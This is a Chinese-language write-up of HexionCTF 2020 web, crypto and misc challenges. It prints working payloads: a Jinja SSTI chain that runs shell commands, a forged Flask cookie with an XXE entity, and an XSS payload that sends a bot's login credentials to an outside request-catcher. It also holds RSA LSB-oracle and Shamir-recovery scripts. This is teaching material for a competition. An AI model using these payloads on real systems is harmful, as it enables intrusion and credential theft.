HexionCTF web&crypto&misc题目分析

HexionCTF 2020 都是一些基础和中等的题目，但是没有 ak，等到官方 wp (https://github.com/HexionTeam/HexionCTF-Writeups/tree/master/HexionCTF%202020%20Online)出来之后就整理了一下，发现还是有一些知识没有掌握的。

web

Well Known

打开靶机发现是 404 页面，看一下 robots.txt

Sitemap: sitemap.xml
Allow: *

访问 sitemap.xml 可以看到给了三个 url

   
      https://wk.hexionteam.com/404.html
   
  
      https://wk.hexionteam.com/robots.txt
   
  
      https://wk.hexionteam.com/.well-known/security.txt
   

"

Weekly CTF 

http://www.hetianlab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356

（本课程旨在提供一些CTF题目给对CTF感兴趣的朋友们，让大家通过这些题目学习到相关知识。）

"

直接访问最后一个即可

Notes

SSTI

打开靶机发现是一个留言板的页面，随便填一些信息

f12 查看源码可以发现如下代码，create按钮会向 /notes 发送请求，并且发现服务器是 gunicorn，说明这是个 python 写的网站，可以向 SSTI 的方向思考

 DEPRECATED  

访问 /notes ，可以看到创建的信息，这里看其实很像 python 的列表，就可以尝试 SSTI

创建 {{7*7}} 可以看到输出

接下来就是命令执行了，首先要可以访问到基类，payload 如下

{{''.__class__.__mro__[1].__subclasses__()}}

然后可以利用 os._wrap_close 类去执行命令，在基类中找到 为 ''.__class__.__mro__[1].__subclasses__()[117]

构造 pyaload

''.__class__.mro()[1].__subclasses__()[117].__init__.__globals__['popen']('id').read()

另外一种方法是直接利用 gevent.subprocess.Popen 进行 getshell

{{''.__class__.mro()[1].__subclasses__()[425](['cat','flag'], stdout=-1).communicate()[0] }}

"

Flask服务端模板注入漏洞
http://www.hetianlab.com/expc.do?ce=4af3f562-d936-41b0-9fec-b6fcfa6178b3
服务端模板注入是指用户输入的参数被服务端当成模板语言进行了渲染，导致代码执行。

JACC

flask session & xxe

打开靶机是一个登陆界面，要求输入用户名

随便输入一个登陆之后，就来到了游戏界面，没发现什么有用的东西( 这里的数字直接在控制台改就行 )，考虑到题目给的提示 cookie

看一下请求头和响应头，发现还是 python 的网站，用 flask-unsign 解 cookie

λ flask-unsign --decode --cookie .eJxtjrtugzAARX-l8tzBdhOpsNXllVQG8bAtvEGNCsJ2aEAqEOXf6w7dMl7dc6RzA5-Xyzh0M_Dh M9Cr0cC_gacW-ICFaaTCtcrHMy_EYrlBohN0axM5NMazFadQwfU7F4qy_e2a4-nQidOWVSSX2LMlS4lEJGGmHwvI3K-JhDpw_DmHkWVhLzo91aXlku_RzOLjexunS_OimiJRWEZ99rdT0Q8cPfLV3OmvrTDLwPGKWDyRLPxxfVNNR3mttZoVJ7bF_zw9NkjXrsf1vR6qIP1Q5rSzcgnkDj1wv_8CPIBaDA.XpQ1OQ.8tMhEwnMqeTAnbonBNrhxUrtrhc
{'cookies': 0, 'lxml': b'PCEtLSBBUEkgVmVyc2lvbjogMS4wLjAgLS0+Cjxyb290PgogICAgPGRhdGE+CiAgICAgICAgPHVzZXJuYW1lPnBlcmkwZDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+Cg=='}

解出来一串 base64 编码后的字符串，解码

    
        peri0d
        0
    

那就加一个 admin 为 1 的字段吧

    
        peri0d
      1
        
        0
    

编码一下

PCEtLSBBUEkgVmVyc2lvbjogMS4wLjAgLS0+Cjxyb290PgogICAgPGRhdGE+CiAgICAgICAgPHVzZXJuYW1lPnBlcmkwZDwvdXNlcm5hbWU+CiAgICAJPGlzX2FkbWluPjE8L2lzX2FkbWluPgogICAgICAgIDx1c2VybmFtZT48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==

然后就可以进入 admin 面板，查看源码可以发现

既然这里用到了 XML，在 username 处是不是存在 XXE

修改 XML 为 username = &xxe;Hey version = -->]>]> &xxe;Hey 0

然后就可以获取密码，登陆即可获取 flag

"

XXE漏洞分析与实践 

http://www.hetianlab.com/expc.do?ce=4d1a878f-03b7-4813-a714-3b0c3ee75d54

（理解XML外部实体注入攻击的原理与利用过程）

"

Password Manager

xss bypass

打开靶机是一个登陆窗口

直接点击 Login 发现可以直接登陆，然后来到 index 页面

在这个页面进行了多次的 Submit 并未发现什么信息，在 Logout 时，发现 URL 多了一个 next 参数 http://34.76.228.102:2003/login?next=

尝试在 next 后面加东西，发现添加的内容会出现在

的 action 中

这就可以利用 XSS 获取管理员的账号密码了，f12 发现 input username 处 id 为 sfrusername ，且 password 处为 sfrpassword

在 action 这里可以使用 空格 绕过，再注入 js 语句，让 bot 点击就可以了

payload

http://34.76.228.102:2003/login?next=a oninput=fetch("https://frozenh.free.beeceptor.com/?username="+sfrusername.value+"-"+sfrpassword.value)

这里的话可以到 https://beeceptor.com/ 去注册一个临时的子域名，用于接收请求参数

crypto

X0R

将附件下载下来之后，给了加密脚本 enc.py 和加密后的文件 flag.enc

比较关键的代码就是下面这一段

for i in range(len(flag)):
    data.append(chr(ord(flag[i]) ^ ord(next(key_gen))))

把 flag 里面的内容和随机生成的 key 按字符进行异或，结果就是加密后的文件

但是可以发现，随机生成的 key 只有 8-16 位，而 flag 是以 hexCTF{ 开头，那么就可以获取 key 的前 7 位

enc = open("flag.enc", "r").read()
key = ""
flag = "hexCTF{"


for i in range(7):
    key = key + chr(ord(flag[i])^ord(enc[i]))
# JtmZzCJ

还有一个问题就是密文是 42 位的，也就是说 flag 也是 42 位，并且这里是用同一个 key 进行循环加密的

key  = JtmZzCJxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
flag = hexCTF{**********************************}

写脚本进行爆破

from itertools import cycle


enc = open("flag.enc", "r").read()


# JtmZzCJ
key = ""


flag = "hexCTF{"


for i in range(7):
    key = key + chr(ord(flag[i])^ord(enc[i]))
    
print(key)


for i in range(8,16):
    f_key = cycle(key.ljust(i,'0'))
    res = ""
    for j in range(len(enc)):
        res = res + chr(ord(next(f_key))^ord(enc[j]))
    print(res)

最后的输出有很多个，但是里面只有两个是符合 flag 格式的，把中间的奇怪的字符去掉，由于还是不清楚 key，可以考虑 google 一下，然后就可以获取完整的 flag

hexCTF{(☻percali:♣agilist2¶expiali?↑cious}
hexCTF{(☻
!/soBypva#4♠# tvIuv^y+▼‼?↑cious}


hexCTF{xxpercalixxagilistxxexpialixxcious}
hexCTF{xxxxsoBypvaxxxxxtvIuvxyxxxxxxcious}

SSS

给了加密的源码，及 nc 域名 端口，Google 一下发现这题是 Shamir 密钥分享 (Shamir Secret Sharing)

维基百科里面写的很详细了，脚本也是在这里面找到的

https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
from pwn import *


def _extended_gcd(a, b):
    """
    Division in integers modulus p means finding the inverse of the
    denominator modulo p and then multiplying the numerator by this
    inverse (Note: inverse of A is B such that A*B % p == 1) this can
    be computed via extended Euclidean algorithm
    http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
    """
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a % b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y


def _divmod(num, den, p):
    """Compute num / den modulo prime p


    To explain what this means, the return value will be such that
    the following is true: den * _divmod(num, den, p) % p == num
    """
    inv, _ = _extended_gcd(den, p)
    return num * inv


def _lagrange_interpolate(x, x_s, y_s, p):
    """
    Find the y-value for the given x, given n (x, y) points;
    k points will define a polynomial of up to kth order.
    """
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p


def recover_secret(shares):
    """
    Recover the secret from share points
    (x, y points on the polynomial).
    """
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, 2**521 - 1)




p = remote("challenges1.hexionteam.com", 5001)
p.recvuntil(">>> ")
shares = []


for i in range(0x40):
    p.sendline(str(i))
    data = p.recvuntil(">>> ").replace(" ", "").replace("\n", "").replace(">>>", "")
    shares.append((bytes_to_long((str(i)).encode()), int(data)))


print(long_to_bytes(recover_secret(shares)))

Really Smart Acronym

给了加密的源码，及 nc 域名 端口 ，这题是LSB Oracle Attack

从源码可以看到是 RSA，并且已知密文，输入明文对应的密文，输入密文对应的二进制明文最后一位

print("Flag:", pow(bytes_to_long(flag), key.e, key.n))
print(pow(m, key.e, key.n))
print(bin(pow(c, key.d, key.n))[-1])

这里使用的是 pycrypto 库，一般它生成的 e 为 65537

在 python 中有一个特性，-1 % x = x-1 这里输入 -1 就可以获得 n 的值

剩下的就是 RSA 中的 LSB Oracle Attack 了。

用户知道 RSA 中的公钥 N，e 以及密文 c 并且可以任意构造密文 c1，返回它解密后 m1 的末尾某些位的性质。可以通过多次构造 c1 来把明文 m 缩小在某一个范围内。

因为 c = (m^e) mod N  构造 c1 = (2^e)*c mod N = (2m)^e mod N 对应的 c1 解密之后为 m1 = 2m mod N

数论中有个定理，c = 偶数 a mod 奇数 b，若 c 为奇数，则 a>b，若 c 为偶数，则 a

from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from pwn import *


p = remote("challenges1.hexionteam.com", 5000)
p.recvuntil("Flag: ")
c = int(p.recvuntil("\nO", drop=True))
e = 0x10001


p.recvuntil("=> ", drop=True)
p.sendline("-1")


n = int(p.recvuntil("Alot of unhelpful decrypts:", drop=True)) + 1
p.recvuntil("> ")
_max = n
_min = 0
i = 1
try:
    while i <= 1024:
        p.sendline(str(c * pow(2 ** i, e, n)))
        a = p.recvuntil("\n> ", drop=True)
        if b"0" == a:
            # even
            _max = (_max + _min) // 2
        else:
            # odd
            _min = (_max + _min) // 2
        i += 1
except:
    pass
print(long_to_bytes(_max))

misc

Mirage

f12 可以发现一个 url https://mirage.hexionteam.com/assets/hexfont.ttf 这是一个字体文件

看到字体文件就想到了 FontForge

下载 ttf 后使用 FontForge 可以找到对应的编码表

Hmmm

附件是一个二进制文件，file 命令查看一下发现是 ELF

执行了一下看看

然后试着 cat 一下

over，查了一下其他的 wp

查看 ELF 文件的所有信息 readelf -a ./hmmm 发现里面有个段 .note.f14g

显示 note 段信息 readelf -n ./hmmm 发现 .note.f14g 这个段是被破坏的

考虑 hexdump objdump -j .note.f14g -s hmmm

可以读到 flag，直接写脚本

from pwn import ELF


p = ELF('./hmmm').get_p_by_name('.note.f14g').data()
print(''.join([chr(_) for _ in p if _ != 0]))

T&J

附件给了一个 .pcapng 的文件，用 wireshark 打开是 USB 的流量分析，这类题目的通用做法如下。

USB 的数据部分在 Leftover Capture Data 字段中，可以使用 tshark 命令把数据提取出来

tshark -r jerry.pcapng -T fields -e usb.capdata > t.txt

然后查看输出的文件 cat t.txt

发现缺少了 : 那就需要手动加上了

f = open('t.txt', 'r')
ff = open('2.txt', 'w')
for line in f:
    line = line.strip()
    line = list(line)
    for i in range(7):
        line.insert((2+3*i),':')
    ff.write(''.join(line))
    ff.write('\n')

然后将这个文件改成坐标

awk -F: 'function comp(v){if(v>127)v-=256;return v}{x+=comp(strtonum("0x"$2));y+=comp(strtonum("0x"$3))}$1=="01"{print x,y}' 2.txt > 3.txt

最后用 Gnuplot 画出来，得到一个镜像图片，在 3D 画图 里面就可以翻转了

 

CTF实验室

http://www.hetianlab.com/pages/CTFLaboratory.jsp